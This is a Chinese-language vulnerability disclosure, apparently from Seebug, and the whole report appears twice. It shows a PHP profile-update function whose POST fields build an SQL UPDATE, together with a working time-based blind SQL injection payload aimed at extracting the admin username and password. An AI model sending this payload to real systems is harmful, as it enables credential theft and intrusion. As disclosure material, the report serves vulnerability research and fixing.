### 简要描述: rt ### 详细说明: ``` public function edit_save(){ $this->member_info(); $userid=intval(Cookie::_getcookie('member_userid')); $fields=$_POST['fields']; //������ $field_sql=''; foreach($fields as $k=>$v){ $f_value=$v; if(is_array($v)){ $f_value=implode(',',$v); } $field_sql.=",`{$k}`='".safe_html($f_value)."'"; } $field_sql=substr($field_sql,1); $field_sql="update ".DB_PRE."member set {$field_sql} where userid={$userid}"; $query=$this->mysql->query($field_sql); showmsg(C('update_success'),'index.php?m=member&f=edit'); } ``` 只是 safe_html gpc关闭或者php高版本的话,单引号还是可以进去的。 过滤了很多,加上是 updata 。所以盲注延时。 修改抓包修改 fields%5Btruename%5D=a' or if(ascii(substr((select username from c_admin),1,1))-96,sleep(2),null) or '1 延时是成功的 [<img src="https://images.seebug.org/upload/201407/01144326082a9ab8af296c178599f6a363ad346c.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/01144326082a9ab8af296c178599f6a363ad346c.jpg) ### 漏洞证明: 如上所述。可以写个脚本延时跑下。即可得到 管理账号密码
### 简要描述: rt ### 详细说明: ``` public function edit_save(){ $this->member_info(); $userid=intval(Cookie::_getcookie('member_userid')); $fields=$_POST['fields']; //������ $field_sql=''; foreach($fields as $k=>$v){ $f_value=$v; if(is_array($v)){ $f_value=implode(',',$v); } $field_sql.=",`{$k}`='".safe_html($f_value)."'"; } $field_sql=substr($field_sql,1); $field_sql="update ".DB_PRE."member set {$field_sql} where userid={$userid}"; $query=$this->mysql->query($field_sql); showmsg(C('update_success'),'index.php?m=member&f=edit'); } ``` 只是 safe_html gpc关闭或者php高版本的话,单引号还是可以进去的。 过滤了很多,加上是 updata 。所以盲注延时。 修改抓包修改 fields%5Btruename%5D=a' or if(ascii(substr((select username from c_admin),1,1))-96,sleep(2),null) or '1 延时是成功的 [<img src="https://images.seebug.org/upload/201407/01144326082a9ab8af296c178599f6a363ad346c.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/01144326082a9ab8af296c178599f6a363ad346c.jpg) ### 漏洞证明: 如上所述。可以写个脚本延时跑下。即可得到 管理账号密码